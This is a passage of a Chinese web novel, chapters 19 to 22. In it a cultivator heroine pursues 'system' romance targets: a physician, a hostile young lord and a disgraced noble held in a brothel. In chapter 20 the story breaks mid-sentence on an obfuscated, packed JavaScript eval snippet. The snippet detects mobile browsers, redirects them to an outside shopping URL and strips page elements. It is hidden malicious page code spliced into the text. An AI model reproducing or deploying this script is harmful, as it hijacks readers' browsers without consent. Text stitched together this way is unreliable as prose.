回去的路上,沈盈息和纪和致谁也没说话。 被利用完毕的邪祟获得恩准,什么都不敢觊觎,一溜烟跑没了。 归途只剩下这二人。 如此沉默地走了大半的路,药铺的影子已映入眼帘。 终于有人出声打破寂静。 纪和致停下脚步,鲜润的绯色薄唇轻启:“息息,我——” 沈盈息却当没听见似地,径直往前走,很快就留下了背影。 纪和致抿唇,跟上去。 少女无声,闷头继续走。 高大青年不再跟,原地看了会她愈发变小的身影,目光专注。 温润如玉的脸终于不再维持着笑,但却漫出了一丝茫然,可茫然过后,更多的是清醒。 他十九年来,只为一件事,自由。 如今的他身子已自由。 但心还没有。 只有纪和致自己清楚,他温润的面目下是如何的一颗心。 永安药铺的人还没死光。 不是吗? 纪和致望着远去的少女,那抹干净的、翩跹如蝶的身影在离他越来越远。 而只要他驻足原地,她便会消失, 可沈盈息没看见。 她知道纪和致在看着她,可她不想回头,也不想和他说话。 为什么要避开她? 沈盈息想着离开大牢前发生的事情。 就算对她没有动心,但他们已经是朋友了,不是吗? 为什么要避嫌? 为什么和她相处总是小心翼翼的! 沈盈息不理解,但她知道,自己需要生气。 她一人走了半晌,原本消失的脚步声重新响起,很快,熟悉的清冽苦香飘至身侧。 “息息,我很抱歉。” 青年的道歉声和他的拥抱同时而至。 挨着纪和致温暖的胸膛,沈盈息眨了眨眼,有些回不过神。 纪和致低哑的嗓音继续在耳边响起,太近了,近得能感受到对方温润的吐息:“对不起,我做不到,我很抱歉。” 是吗? 他做不到。 沈盈息伸出手,拍了拍纪和致紧绷的脊背,她放松地抱着他,声音倏然间懒了下来:“没关系,我们是朋友,对吗,和致?” 她这番话一出,明显感受到拥着她的手臂不自觉收紧了些。 纪和致声音沉闷:“是,我们是朋友。” “嗯,”少女笑起来,“那如果是朋友的话,都希望对方得偿所愿的,对吧?” 纪和致顿了下,他不明白沈盈息为什么忽然这样问,可是她既问了,他便答:“是。” 沈盈息彻底放松下来,她推开纪和致的怀抱,笑着望向他的眼睛。 好像没看见他眼底没来得及消失的痛苦,她嗓音清脆,带着欢欣:“那太好了,和致要帮我达成愿望,你可千万不要推脱!” 纪和致的心猛地跳了下,他收敛起眸底情绪,温和问道:“什么愿望,只要我帮得上忙,一定……” 少女打断了他,而后用欢喜和志在必得的神色,对着他说:“我要翠玉楼的敏心,我要他和我成婚。” 纪和致霎时间眼前起了一阵雾,他分不清这雾的来源。 只知道这雾太冷,冷得他全身的血都冻起来,不再流动了。 但他的理智却还在,近乎有条不紊地组织着语言,他还在确认:“成婚?息息果然很喜欢他吗?” 喜欢? 当然不是。 比起上官慜之,沈盈息更喜欢情绪稳定的纪和致。 但是他自己说的,他还做不到。 虽然有点可惜,但沈盈息还是仰起脸,笑得璀璨,并且用力点头:“嗯,喜欢!” 20. 第 20 第20章 纪和致真高。 沈盈息仰头,想看清青年此时的神色,谁知只能看清他绷紧的白皙下颚。 高挺鼻梁上的一双眼睛,被渐渐暗下的晚光挡得严实,一点情绪也瞧不见。 不过他的唇角还弯着。 大抵是个笑。 沈盈息犹豫了下,而后退开两步,“纪老板,药铺我就不回了,阿仓还留在那儿给你做个帮手,对了,不要忘记付他工钱。” “……” 四周寂静了一瞬,而后沈盈息听见了一道阴沉的、喜怒难辨的低笑。 她抬首,依旧看不清纪和致的眼,但见他唇边弧度依旧。 便知那古怪的笑确实是他发出的。 沈盈息疑惑,“你笑什么?” 纪和致修长如玉的手抚上胸前,他迟缓了两秒,方平静道:“如何又唤回纪老板了?” 沈盈息没料到他关注点在这,所唤什么,有何重要的。 她生疏应对此景,卡了壳,不知如何回答,索性回了沉默。 但纪和致似乎非得要个答案,他只顿了下,再抬起纤长眼睫,露出睫下的点漆黑眸,眼神幽幽地,“嗯,息息不说话了,为何?” “……你怎么了?”沈盈息对上青年眼神,不由愕然了一息。 纪和致怎么了? 怎么露出这种目光。 这种幽幽的、让人辨别不了情绪的目光,沈盈息犹记得在好几个道友那儿见过,她至今无解。 “我怎么了?” 沈盈息等着纪和致的回答,却看见他自己也有刹那的疑惑,他不自觉地抚上胸前,似乎在按压何物。 少女的目光在他按压的地方停留了一秒,而后又收回。 纪和致原来还有这样的习惯动作吗,她今日才发现。 原本想要的答案,反倒致使两人同时落入沉默里。 沈盈息认真思考了一秒,然后对纪和致笑道:“好了好了,和致,我们不要纠结这些事了。” 纪和致抬眼,对上她的笑眼。 少女又露出个浅浅的笑,“都是小事,不必太在乎的。” 小事。 那么什么是大事? ——让翠玉楼的那个少年欢心,便是所谓大事了? 纪和致忽而放下手,移开看着少女的视线:“我们走吧。” “不了,”沈盈息摆手,她道:“我不回药铺,我们该分开了。” 分开……纪和致侧过脸,看着少女,她如何还能在笑? “是今日分开,还是……日后都分开?” 他一问,倒叫沈盈息有些困惑,她皱了皱眉,“你为什么要这么想,我要回家了,与你不同路,只是分道离开而已。” 她终于不再笑,秀致的脸失却笑意,竟显得有些冷,“和致,我总也不明白你的心思。” 因着身高的优势,纪和致几乎能看清少女变化的所有神情。 一见她冷淡眉眼,他霎时间生出仿徨和酸苦来。 可是仿徨,她已解释了那分开不是断交之意,他日后依然可见她。 即便是陪她去见喜欢的男子,那也是相见。 何来仿徨之意。 而酸苦,他有何立场道酸苦。 朋友之间,互帮互助,再寻常不过。 他现在做不到的事情,她当然不必等他。 只是,真难以忍耐啊。 纪和致弯唇,温润地对少女颔首,“抱歉,我习惯想多了,是某的错,息息勿怪。” 沈盈息顿了顿,盯着青年的面庞,这时他又一副温和平淡的模样了。 无趣。 但令人安心。 “没事,”少女大方地摆了摆手,“和致是我第一个朋友,总归特殊些的,我不会怪你,你今晚好好休息吧。” “嗯。”纪和致弯眸一笑,笑却不达眼底。 他是她第一个朋友,但不是最后一个,是吗? “改日见。” 沈盈息道别罢,转身离去。 纪和致最初做出也转身的动作,但当少女气息远去,他方停下,又侧回去,站在原地,定定地望着少女的背影。 她自己能发觉吗? 她每次离开的时候都毫不犹豫。 抽身离去的态度如此决绝便也罢了,偏每次见面,总也笑得绵绵,好似被她笑脸以待的人,在她心里有多重要的位置。 “可我只喜欢纪和致这一个。” 相似的一个傍晚。 熟悉的被湿纱死死缠绕的窒息感,空荡荡的路途之中,只他一人站着,反复回想这局面是如何开始的,又当如何解开。 可不知局始,又怎么可能解得开。 月光降在身上,声音回绕耳边,用手驱赶不去,用心屏蔽不得。 纪和致目视少女身影消失于夜色之中,她去时,天是铅灰色的,她消失时,天已经彻底黑了下去。 在她消失的地方,有风有树,树影婆娑,天地一片瑟瑟之声。 纪和致垂下眼,慢慢地往归途上走。 ——改日,哪几日呢? ——小事,他如今是被归进了“小”之一类的了,他已然过了她的新奇劲头了吗? 她真是喜欢救人。 先是翠玉楼的少年,再是那牢里的蒋事珖。 下一个是谁? 纪和致一生来,绝无乞怜过。 爹娘被害至死,他孤苦无依,他不拜佛不求仙,他孤身一人对付妖鬼猛兽。 歹人磋磨,权势逼迫,受过贪婪、觊觎、和数不清的窥视,每逢临渊之祸,纪和致只是冷静,冷静地应对与毁灭。 沈盈息是他近二十年来,遇到的唯一一个没有任何目的而接近他的人。 其实也不该如此说,只是和其他人比起来,她亲近他,又想用他医治她喜欢的人,这样的目的,真是小得叫人可怜而无措。 在此之前,他还以为这世间鬼怪横行、人人如鬼。 她朝泥沼里挣扎深陷的他伸出手,却不耐他迟疑,转而把那只白净、纤细的手,伸向旁人。 她看见他屈动着想要伸出的手吗? 看见了,又当没看见吗? 是这样的,沈盈息此人,一旦将目光转给旁人,任何以前多喜欢的人,她也不会再看一眼了。 就像她嘴上说着改日再见,可是一转身,又毫不犹豫地离开。 …… 沈盈息回府,还没进府门,沈盈风便疾步把她抱住。 “息息,你没事吧?” “没事呀,”沈盈息推不开沈盈风的拥抱,也就不拒绝了,头挨在兄长胸前,钝钝答:“好困,哥哥。” 沈盈风闻言,立刻紧张地握住少女肩膀,仔仔细细上上下下查看过,明面上是没有什么伤的,许真的是疲乏了,是驱使鬼怪太耗费心神了罢。 “哥哥现在就带息息休息。” 自沈盈风归家,阿廪的活便全被他揽了下来。 为沈盈息净手之际,沈盈风看见了她满手掌干涸暗沉的血迹,眼眸霎时间漫起痛楚。 他垂着眼,压抑着心疼与惊慌,一根一根为妹妹擦拭着手指,擦着擦着,发现手上全然是没有伤口的,高高悬吊起的心口方松了一松,但还是没有落下。 沈盈风擦完手,并未撤开,而是慢慢摩挲着少女柔嫩手指,似不经意问道:“息息,这是谁的血?” 沈盈息一瞥,漫然答道:“是蒋事珖的。” 毕竟是兄长好友,想了一想,便又安慰道:“哥哥别担心,我已经让纪和致给他上过药了。” 沈盈风握了握少女手掌,低眉:“哥哥没担心他。” 待沈盈息洗漱完毕,五分困意便成了七分。 沈盈风用帕子为少女绞干湿发,而后捧起她的脸,轻柔地在其额心落下一吻。 “息息,谢谢你待哥哥这么好。” 沈盈息困得迷迷糊糊,她从喉音里挤出一声嗯,迷蒙地笑了下:“不必谢,哥哥,你待我也不错。” 沈盈风温柔地轻笑,用额头碰了碰少女的,而后伸出长臂,将她抱向软榻,轻轻放入馨香被褥之中。 沈盈息沾被即睡,没瞧见兄长待她睡后,长眸瞬时凌厉起来。 柔和地抚了抚少女眉眼,男人站起身,转身而去。 沈盈风不可能让妹妹一人冒险。 蒋事珖能活最好,不能活,他也只能弃友另择良盟了。 翌日。 沈盈息不再去药铺。 用完早膳,沈盈息拄着下巴,唤出系统来。 狼崽子一出神识空间便欣喜难当,先是前肢抱着少女的手紧紧贴了贴,而后又滚到桌上打滚。 沈盈息眯眼笑看了会儿,道出把它叫出来的真实目的:“把上官慜之的任务档案调出来看看。” 系统打滚的动作一停,它似乎还没回过神。 “仙君,您……您真决定先放弃纪和致?” 沈盈息拄着下巴歪头,“早晚都到他,只是他如今心里有东西放不下,这我还看得出来。” 系统想起其他小世界的攻略档案,不由想为宿主支个招。 但不知为何,看着沈盈息的面庞,它总觉着那种毫无保留付出以期打动攻略对象的行为,似乎并不适合它的仙君宝宝。 将所有期待和主动权放到攻略对象手里,能成功,但很慢。 系统思量片刻,把上官慜之的档案调给沈盈息,同时问道:“仙君要第二个任务对象的资料吗?” “暂时不必。”沈盈息将上官慜之的资料一目十行看完,对仰头期待的狼崽道:“急心易错,遇见上官慜之,既是机缘巧合便也不必过分推诿。如今再添一位任务对象,怕是会三心二意,忙中出错。” 系统疑惑地啊了一声,它还以为沈盈息就是想速速通关然后回修真界呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368481|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是她这般一说,又觉得她在享受凡间的生活。 它彻底看不懂自己的宿主了。 “仙君,您不是着急吗?” “着急?”沈盈息放下拄着下巴的手,“没有啊。” 系统苦恼地甩了甩头:“不对不对,那您不着急,怎么还放弃纪和致呢?” 沈盈息似笑非笑:“这就要问他,人家要将心封闭成一块铁,别人有什么办法。” 说罢,少女神采奕奕地起身,“无为而治,其后自善,强求有何善的。” 她修道来一直奉行此准则。 该是她的就会是她的,强求所得,她还不稀罕。 系统这下是彻底看不懂沈盈息了。 它不禁疑惑起天道选中沈盈息的目的,天道是不是早看出了沈盈息的性子,在此之前是故意卡她飞升的。 天道不会是怕沈盈息飞升后把它砍了,才扩招无情道的吧? 谁知道到底没防住,沈盈息没飞升,其他飞升的无情道个个也不是善茬。 …… 自家宿主虽然看起来无害,但作为前无情道魁首,究竟也是魁首,做过修真界最强者的人。 所以,这招叫强者还需更强者磨? 系统使劲摇了摇脑袋,它真的不懂。 无论它懂不懂都好,沈盈息已先行走了,她走在前面,系统反应过来时,她已走出去好远。 “仙君宝宝!”狼崽子委屈大喊,“怎么也不等我?!” 喊罢冲了上去,一头撞上少女肩膀。 沈盈息扭头,“你在桌上玩得很欢,我还以为你想留在府中呢。” 系统一哽,它又不是攻略对象,干什么也要这样若即若离地待它。 怎么也不问问! 她以为她以为,她以为的就是真相了吗? 说着好听,好像在考虑它的感受,但根本什么也不是。 哪有这样自负的人! 忍了又忍,狼崽子抱住少女肩膀,呜呜咽咽:“仙君怎么也这样对我,我又不是那些攻略对象,仙君可以待我凶点的,要我走我就走,别问也不问就离开啊。” “嗯?”沈盈息困惑,不过还是道:“你若想我多问问,那么我会的。” 系统再次哽住了。 它想要的是这个吗? 可是能有什么办法。 系统沉默,系统抱紧了宿主的手。 系统开始体会到被宿主这样对待过的人的心思。 真难过。 但是起不了一点怪责之心。 她为人处世似乎很认真真诚,可她待人人如此,这便成了别人的磨难。 沈盈息再回到翠玉楼,那老鸨一见到她,当即脸白了下,但很快收拾好心情,吩咐了身旁的小厮几句,笑着上前和沈盈息打招呼,同时用余光瞥送小厮的离去。 “沈家主,您终于又来啦?” 希望不是来找那贱蹄子的,老鸨明面上笑着,心底跟着暗暗期待着。 沈盈息嗯了声,一句话打碎老鸨的幻像:“我来瞧瞧敏心。” 老鸨脸更白了,她努力想直视少女,以期撒的谎能真上几分:“嗯,那个,敏心他、他最近病了,实是不宜见面。” “什么病?”沈盈息眉头都没皱起,语气还算平常。 老鸨见状,却拿不准她的心思。 这位贵小姐,对那贱蹄子究竟是喜欢,还是不喜欢啊? 眼珠滴溜一转,老鸨打着哈哈:“我都按照您说的,正常教习的,一点腌臜物都没教。但敏心呐,没福气,以前是贵人,现在沦为贱人后身子一下弱了,这不才教了几天,就染上风寒了。” 老鸨观察着少女神色,见其没有起疑,松了口气,更放松地说:“家主还是莫要去看了,风寒容易传人啊。” “……” 沈盈息若有所思。 容易传人的风寒,不就是系统所说的流感吗? 不知让纪和致来治,最快几日能好。 她在修真界从未见过修士生病呢。 “没什么需要小心的,带我去。” 沈盈息说罢,眼神示意老鸨带路。 老鸨哪敢带啊。 她确实没教敏心腌臜的本领,但其他也没教啊。 整日不给吃不给喝,除了打就是骂,那贱蹄子本来脑子就不正常,现在更疯得像只野兽一样。 真让沈盈息瞧了,自己这条命还要不要了? “这这这……”老鸨慌了,她左右都看,就是不敢看沈盈息。 沈盈息见老鸨多次朝门口看去,跟着掉头,“你在等谁?” 老鸨支支吾吾,冷汗如豆粒似地从额角滑下。 恰在此时,一道清冽的冷嘲声从门口传来:“沈家主好兴致,青天白日地来逛花楼。” 听见此声,老鸨冷汗又蒙了一层,但也不可避免地松了口气。 来了就成,来了就成。 21. 第 21 第21章 沈盈息听音辨人,当即厌烦地皱起眉毛。 “季九,你也太阴魂不散,我现在是真的有些讨厌你了。” 季九世子长身玉立,站在光耀的晨间阳光中,对少女勾唇,眸中笑意点着发冠上的红玉,两相应承,丽色非凡。 “哦,很多人恨不得爷去死呢,”锦衣少年跨进门槛,笑吟吟一双凤眸,眼中在笑,眼尾却透着冷意,“你这点厌恶,还算不上甚么。” 又来了。 话里话外的轻蔑,一见面就是冷嘲热讽,沈盈息最初还觉有趣,但现在她只觉得不耐。 少女一声冷笑,“季九世子既瞧不起商贾,如何还不滚开,免得我污您的眼。” 沈盈息这番话一出,季九还没怎的表示,旁边的老鸨已听得眼前发黑,战战兢兢不能自已了。 听见声响,季九眼尾微瞥,眸中浅浅的一层笑意霎时褪得干净,一片冰寒,轻轻一眼就把老鸨吓得脊背发凉。 不过他没发难,凤眼薄唇的少年淡声下令道:“这儿有你何事?” 一句反问,却让老鸨如临大赦,她赶忙矮下身,惊惶道:“奴这就滚,这就滚。” 话音未落,老鸨已揪着一溜低眉顺眼的小厮们逃走了。 花楼白日里着实冷清,老鸨和小厮们一走,厅间竟只剩下沈盈息和季九二人。 沈盈息正要开口挽留老鸨,没了老鸨谁还给她带路,但季九在她身后轻飘飘地开了口:“别喊了,那奴才可不敢听你的令。” 他莫不是故意的! 沈盈息含怒回首,手指少年矜傲抬起的下巴:“你诚心和我作对是不是!” 望见少女终于和往常无二愤怒的漂亮脸庞,季九眯了眯眼,嗤笑道:“我?爷稀得跟一个乡下来的土丫头作对?” “乡下来的?”沈盈息一时惊愕不可信,她反指向自己的脸,震惊道:“我?乡下来的?土丫头?!” 三个反问,足见惊色。 淮东居于江南,古来便是最丰饶富贵的水米之乡。 天下民业莫不仪仗淮东供奉,历代君王都对淮东大商礼待有加,他季九竟敢嘲讽她这个最大的淮东富商是乡下土丫头? 沈盈息气急,她绝不容准有人如此侮辱她的乡土! “季九,你就别忘了,你们这些朝官亲王早午晚用的贡米,可都出自我沈家的仓库。你若再敢出言不逊,我就一纸状书告上朝,下你入狱!” “哈,真是好厉害的威胁,”季九不怒反笑,笑得且很开心,他款动长腿,走到沈盈息面前,垂首睥睨着少女的怒颜,薄唇勾动,“沈家主这话对其他宗室或有用,但对我……” 他微顿,长睫半掩下的凤眸,饱蘸恶意嘲讽:“爷与朝廷可是无亲无故,你家的贡米也供奉不到季王府,息姑娘,你的算盘打错响了。” 高攻不过,少女猛地气红了脸,她一生起气,脸便容易红。 季九慢条斯理地看着少女红得艳若桃李的脸,虽知晓她这是气得,却还是不由想得过了些。 少女颊面生胭,以往最认为矫情而鄙弃不已的画面,如今细细看来,却着实有一番意味。 少年垂睫,像是在看一只被逗弄得炸毛的猫,觉着有趣一般,伸出如玉长指,抬至少女颊边,想屈尊为其拂开不知何时已沾上其唇边的乌丝。 “啪!”沈盈息一把打掉季九伸过来的手,神情防备又冷锐:“干什么,你竟还敢打我不成?” 金银堆养起来的皮肤实是薄嫩,沈盈息又起了十足的力气,这一巴掌下来,季九冷白手背倏然间红了一大片,连青玉般的细筋都突了出来。 季九眯眼,放下手,仰起下颚,居高临下地盯着少女:“沈盈息,你胆子是愈发大了。” 沈盈息讥笑:“你哪一天不知道?” 季九也笑,掀动唇角,勾起一抹冷笑。 他静静地看了面前少女半晌,看得后者戒备的神情更重。 沈盈息微微后退,少年的目光太过具有侵略性,像是择人而噬的妖兽。 也不知倒的什么霉,招惹上这难缠又小心眼的家伙。 “沈盈息。” “干嘛?” 少女正觑眼往门口瞧,有预备离开的打算,耳听得少年低声的呼唤,利落转头,但还是没躲过内力在身的少年。 季九长臂一展,修长手指张开又收束,立刻就把少女两只手臂一齐钳在其腰后。 一只手把人控制得死死的同时,他空出的一只手臂竟还聊有余力地伸来,眼见就触及少女透粉的脸颊时,沈盈息遽然抬腿,膝盖直取少年腹下。 “哼,”季九冷哼一声,触向少女脸颊的手就此下落,握住少女腿弯。 收紧手指,意料之中地听到了少女的怒骂。 喋喋不休、呶呶不休。 上至他人品,下至他长相,在她的骂声里,他是乌龟和狗贼,是臭泥巴和脏簸箕,总之不是个人。 季九本来想放开沈盈息的动作,因此顿了下。 他望着少女愤怒的眼睛,听着她自以为恶毒的骂声,神情若有所思,而后忽然笑了下。 不是冷笑和讽笑,他单纯地觉着有意思的笑。 他甚而有闲心注意到少女没骂他爹娘,更没说他家世和故土。 在京城横行霸道了半年的沈家主,竟然这样懂礼貌。 光骂他品行恶劣和长得丑陋,真是,和他一直以来受的谩骂一比,少女简直乖得可怜。 沈盈息愈骂,愈发现季九的笑越发肆意。 她震惊地瞪大双眼,骂声憋在唇边,怎么也吐不出来了。 可季九却不满意似地,俯身用凤眸盯着她,低声笑道:“怎么不继续了,累了?” 被人控制不得动,几次三番的反击都叫挡回来,一点面子都没有。 ……沈盈息眼眶倏然一红,她骤然别过脸,不叫死对头看她的神情,鼻音深重地骂了最后两个字:“有病。” “欸,”季九当然看见了她红起来的眼眶,事实上,不仅看得见,还看得十分清晰。 她真是白得过分,雪一样,一点点红在脸上都像雪中红梅似地扎眼。 指腹瞬时发烫,季九像被针扎了般松手,直身皱眉,“你哭什么?” “谁哭了!”少女色厉内荏地反驳,她恶狠狠地用袖子抹了一把眼角,还扭着脸不给季九看,“你才哭了!胆小的蠢货!” 哭着也要骂他。 看来他这回真是把人惹急了。 季九抿唇,被冒犯至此,他第一时间想到竟是幸而那些贱奴都被赶走了。 不然被他们看见她的脸,沈盈息定不知怎的气愤难过。 她最讲面子了。 “……你,我赔你点好东西。” 季九罕见给人台阶下,他这种年轻的上位者,恶劣而顽固,不会考虑旁人一分一毫。 但似乎是连日来的被忽视,又于今日猝不及防见到少女的眼红,多方加力,他方有此举措。 赔些宝贝,万事大吉。 “滚开!” 少女不领情,她没官没爵,但她是富可敌国的沈家家主,打小什么好东西没得到过。 季九启唇,却被沈盈息粗暴地打断。 “我受够了季九!我受够了和你整日争斗不休的日子了,我觉得这没意思透了。你这个烂人,你要是没这个世子的名头,我告诉你,你连见我一面都不可能!” 沈盈息终于侧过脸,肯赏季世子一个正脸了。 但这也就导致他看她脸上表情看得十分清楚,清楚到一点点误判的可能都没有。 少女眼眶还红着,但眼里情绪却冷得非常,脸上的厌恶更是极深极深,深得很真。 “……” 季九看清沈盈息表情时,一怔,垂在袖中的手指几不可察地蜷动了一下。 并未回答的间隙,季九看见沈盈息唇边的乌发已被她自行拨开,红唇艳艳的,张吐出叫人生气的话语:“我听说你还喜欢陷害忠义,谋害无辜,你这种人真是该下地狱,还敢劫持我,呸。” 季九启唇,反驳之语却又在少女更厌恶的神色里吞下。 他的脸色渐渐生寒,顶峰权势蓄养的威严俨然从身周散发出来,叫人望之生怖。 可他是权的代表,沈盈息就是钱的代表。 她丝毫不怵,甚而跨步上前,狠狠地用膝盖击上少年小腹。 倒是没往下三寸,她是恩仇分明,挟持之仇不大不小,打仇人打得痛了,方就足了。 季九有武功在身,这沈盈息知道,所以她已经做好膝击不成,转而趁着对方不注意甩他一巴掌的。 但竟没给她偷袭的机会,她只一击就击中了。 坚硬的膝盖顶上少年柔韧小腹时,沈盈息一惊,但很快露出得逞的笑意。 她红着眼笑起来的模样实是好看。 季九垂眸,匆忙移开落在少女脸上的视线。 她用力不轻。 疼是疼的,只不过疼往上蔓延,往肋骨里钻进了一丝丝。 那疼就成了酸,酸得很,像是要抓狂又不得不忍耐的感觉。 “沈、盈、息!” 少年咬牙切齿地喊出了少女的名字,而后伸出长臂抓人,好像抓到人就要把她生生活剐了一般。 沈盈息盈盈一退,就躲过了季九抓来的手。 望着见季九又疼又报复不得的愤恨神情,她乐不可支,脸上的厌恶冰冷一齐被笑掩盖了。 “哈哈哈,季九,你也有今天,蠢东西。” 沈盈息复仇完毕,郁气纾解,季九也就 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风月场里摸爬滚打,虽然不敢定论,但老鸨还是忍不住觉得,这季九世子明面上恨沈家主恨得牙痒痒,但真被她冒犯紧了,却也不打不骂,还装样子给她看。 反倒沈家主满脸嫌弃。 到底谁恨谁啊? 无论季世子是真恨假恨,老鸨敢定论沈家主对这位世子爷可没其他心思。 人家主姑娘现正喜欢他们翠玉楼的敏心呢。 一想到敏心,老鸨的脸就又不可避免地白了白。 只希望刚才到那贱蹄子房里敲打一通后,那蹄子能识相点。 把身子护住了不让沈家主瞧,光靠那张漂亮无损的脸蛋肯定能把小家主哄过去。 强打起精神,老鸨把人带到,她为沈盈息推开房门,低头哈腰:“沈家主,您且玩着,到了时辰奴来给您添热茶。” 沈盈息冷哼一声,把人挥退。 老鸨轻轻带上门,自弓腰退下。 待进了屋子,沈盈息扶了扶额。 季九这个疯子,应付他真是不容易。 方才她那狠话都说到那种地步了,论季九那高傲的性子,想必日后也不会再自讨无趣。 他们这玩笑似的敌对关系,该是彻底完结了。 思及此,沈盈息不由微微松了口气。 成日打打骂骂的真没意思。 总算是摆脱了这桩有害的关系。 许是少女进门后兀自思想的模样有些久,久到屋内的另一个大活人嗤笑出声:“贵人来花楼,是潇洒呢,还是避难呢?” 沈盈息抬眸,望向讥讽冷笑中的上官慜之。 得。 又来了。 他们这些岁数小些的少年,似乎总爱用锋利的言语叫人吃亏。 别人吃亏,他们就像得了胜利一样。 沈盈息拖着步子走到桌旁坐下,一头倒在桌上。 她这幅半死不活的模样让上官慜之看了个稀奇,他立刻从床边站起来,走向桌边。 他当然不是担心沈盈息的死活,他是来看热闹,来幸灾乐祸的。 “哟,还没进正戏就累了,贵人这身体不行啊。” 沈盈息歪头趴在手臂上,掀起眼睫轻飘飘地看了眼上官慜之,而后又轻飘飘地垂下眼帘,继续安睡。 他是故意激怒她的,抱有什么目的再鲜明不过。 见她爱答不理,上官慜之昳丽面庞陡然浮现出一丝恨意。 但这恨意起得快,消散时也快,像一滴雨落入湖面似的。 他紧接着笑了,极其柔媚艳丽的笑。 褶皱精致的双眸盛满蜜意,看着坐倒在桌旁的少女,像看着世上独一个的爱人:“贵人在这可睡不好,不若跟着奴,去床上睡罢……” 少年音色本就清亮动听,刻意低沉放柔后,更似染了秾艳花汁,听不尽的魅意勾缠。 这声音与他的好相貌一配,无形中像增添了一柄灼热的钩子,透着股不把人勾得神驰意荡、鲜血淋漓便决不罢休的气势。 若在场是旁人,许是就着了少年的道。 但正巧不是旁人,是沈盈息在此。 上官慜之的声音好听是好听,她也觉得他的声音好听得过分。 可她不是来要他的,最后既要成亲,至少也得培养出感情。 她来是想先好好待他的。 “别闹了。”沈盈息抬眼,眸子里有潋滟水光,是被手臂压的。 寻找到少年的身影,沈盈息定了定眸,轻声道:“不要总是愤怒地对我,我是来带你出去的,慜之。” 若说上官慜之听见少女前半段话时还抱着看笑话的讥讽,但当她那个慜之一出,少年脸色陡然大变。 长眸瞬时间猩红起来,上官慜之死死盯着少女,一字一重音:“你、是、谁?” 22. 第22章【8月29二更】 第21章 沈盈息漫然答:“我是谁,可以是谁,取决于你,上官慜之。” 说罢,她抬起头看着少年,却还是瞧不清他的具体神情。 不过能瞧清少年垂在腿侧的、紧紧攥住的双拳。 沈盈息看见上官慜之手背上暴起的青筋时,终肯坐起,却还没个正样。 她倚着椅背,侧首好整以暇地望着少年,仰起脸时细颈露出,白生生的一节,似玉无暇。 上官慜之的目光随之落在那节白颈上,指骨捏出轻响,他如同会随时扑上去拧断少女的脖子,恶比艳鬼。 但作为他所有恶意的承载者,少女恍若未觉,她侧过脸笑视邪恶愤怒的少年。 沈盈息鲜润的红唇微启,音若天籁:“你可以猜猜我的目的,上官慜之。” 上官慜之胸膛一个剧烈的起伏,他兀然转过身去,左手紧握成拳,手背青筋暴起,他用右手狠狠捂住半边脸颊,死死遮掩住快要崩泄的情绪。 少女的声音还在背后轻轻响起,带着无尽的耐心和柔意:“你可以慢慢想,我不着急。” 上官慜之? 上官慜之! 上官慜之多少次怀疑,他怀疑自己前世才叫这个名字。 可这个姓沈的一唤出他的名字,他才想起自己作为上官慜之的人生,于半年前还在,不是什么劳什子的上辈子。 而上官这个姓,半年前也还代表着王权和军权。 ——朝中唯二的异性王,上官王府居首,那姓季的算什么东西,彼时不过是给他上官慜之提鞋的奴才! 但半年后,上官代表了乱臣贼子。 合族覆灭,连他这个在边疆正排兵部战的将军,也被强行卸甲,传召入京,翌日就发配进了花楼。 至死不得出。 哈哈,好一个至死不得出! 武功被废,因军功而免死,免死是圣令,所以就算是自杀,也不被允许。 上官慜之? 这世上哪还有个上官慜之,现在苟活于世的,不过是个任人轻贱、求死不得的花楼敏心! “慜之,其实你大可向好处想。” 少女出声,陡然打断了上官慜之阴鸷、愤怒、怨毒的思旧。 她为何叫他慜之,她为什么?! 上官慜之遽然折身,他疾步冲到沈盈息面前,恶兽似地猩红着双眼。 双手更如兽爪,死死扣着少女的肩膀,对着少女吃痛的表情,他低吼道:“你是谁!你究竟来干什么,是要折辱我,还是侮辱上官家!?你要我生不如死是吗,你们见着我,还不觉得我生不如死吗?!不如杀了我,来啊,杀了我!!” “……” 沈盈息来之前预想过上官慜之发疯,预料过他自残、疯癫和怒吼。 现时现景,倒和她预想得差不太多。 但最大的差别还在于上官慜之的表情。 他很愤怒,这当然可以理解,将她这个来历不明的陌生人当做旧时仇人,自当愤怒。 他也怨恨,自然,从高高在上的天之骄子沦落为花楼贱奴,谁能不怨。 ……可沈盈息独想不到这少年还流了泪。 上官慜之方怒吼完毕,望着她,突然两行清泪从眼眶滑落。 与他之前的疯癫不同,他流泪时极静,静得像一尊瓷像,清冷且高贵。 好像这泪洗净了他覆于表面的癫狂,终于露出了他曾作为世家子弟的自矜自傲。 沈盈息感受到肩上的铁手在缓缓融化,渐渐的,力道尽失,少年的手搭在她肩上,说不清是拥抱还是什么。 他依然望着她流泪,眸光潋滟生波,眼睫被泪打湿成一缕缕的,紧紧垂在弧度完美的眼睑上。 …… “……你,你别哭啊。” 沈盈息顿了下,诡异地有些体会到不久前季九的心情。 原来望着一直强势的人露出如此脆弱的神情,是这种感觉。 有些无措,还有点想逃避。 沈盈息没准备哄人。 她根本也没想到上官慜之会哭。 当初被沈试玉揍得鲜血淋漓时,也没见他掉一滴泪。 这是怎么了。 “诶,上官慜之,你别哭,我们好好说点话嘛。” 少女一直以来智珠在握的神情终于有了不一样的神情。 她皱着眉,眨了眨眼,看样子很是生疏应对他人哭泣。 上官慜之闭起眸,侧过脸去。 眼尾通红的少年,强忍眼泪的少年。 沈盈息紧张地揉了揉裙面,她这该怎么办嘛,她修了几百年道的修士,将一个凡人弄哭了。 这跟大人无赖,故意欺负孩子似的。 沈盈息抿抿唇,望着沉默的少年,最终凭借稀疏的回忆,僵硬地伸出双手,轻轻拥住了人。 少年看似纤弱,实则身子很结实。 甫一抱住,少年腰背上丰盈的肌肉触感几乎立刻抓住了沈盈息的手掌,他体温也高她许多,热得她有些尴尬。 沈盈息蜷起手指,生涩地拍了拍少年宽阔后背,别扭哄道:“好啦,慜之,乖、嗯,乖慜之,受委屈了是吧,没关系的,乖慜之……” 这些哄孩子的话究竟是怎么进入脑子的? 